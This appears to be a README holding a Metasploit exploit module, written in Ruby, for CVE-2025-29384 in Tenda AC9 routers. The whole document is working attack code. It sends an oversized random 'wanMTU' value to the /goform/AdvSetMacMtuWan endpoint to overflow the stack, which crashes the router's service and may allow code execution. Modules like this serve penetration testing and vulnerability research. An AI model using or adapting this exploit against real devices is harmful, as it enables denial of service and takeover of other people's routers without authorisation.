README.md
Rendering markdown...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tenda AC9 Stack Overflow Exploit',
'Description' => %q{
This module exploits a stack overflow vulnerability in Tenda AC9 routers via the
AdvSetMacMtuWan endpoint. By sending an oversized payload, an attacker can cause
a denial of service or potentially execute arbitrary code on the target device.
Original Proof-of-Concept (PoC) by Otsmane Ahmed:
https://github.com/Otsmane-Ahmed/cve-2025-29384-poc/blob/main/poc.py
},
'Author' => [
'Otsmane Ahmed', # Original PoC author
'Otsmane Ahmed' # Metasploit module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-29384'],
['URL', 'https://github.com/Otsmane-Ahmed/cve-2025-29384-poc']
],
'DisclosureDate' => '2025-03-18',
'Platform' => 'linux',
'Arch' => [ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DefaultOptions' => {
'RPORT' => 80
},
'Notes' => {
'Stability' => [CRASH_SERVICE], # Assumed to crash the service
'Reliability' => [UNRELIABLE_SESSION], # Assumed to be less reliable
'SideEffects' => [IOC_IN_LOGS] # Likely leaves traces in logs
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptInt.new('PAYLOAD_SIZE', [true, 'Size of the payload', 1024])
])
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Enable debug output for exploit development', false])
])
end
# Generate a randomized payload for obfuscation
def generate_payload(size)
rand_text_alpha(size).to_s
end
# Main exploit logic
def exploit
print_status("Targeting Tenda AC9 at #{datastore['RHOST']}:#{datastore['RPORT']}...")
payload_size = datastore['PAYLOAD_SIZE']
payload = generate_payload(payload_size)
print_status("Sending payload of size #{payload_size}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'goform', 'AdvSetMacMtuWan'),
'vars_post' => {
'wanMTU' => payload
}
})
if res && res.code == 200
print_good("Payload sent successfully!")
print_status("Response: #{res.body[0..50]}...") # Print truncated response
else
print_error("Failed to send payload.")
print_error("Response Status: #{res ? res.code : 'No response'}")
end
end
end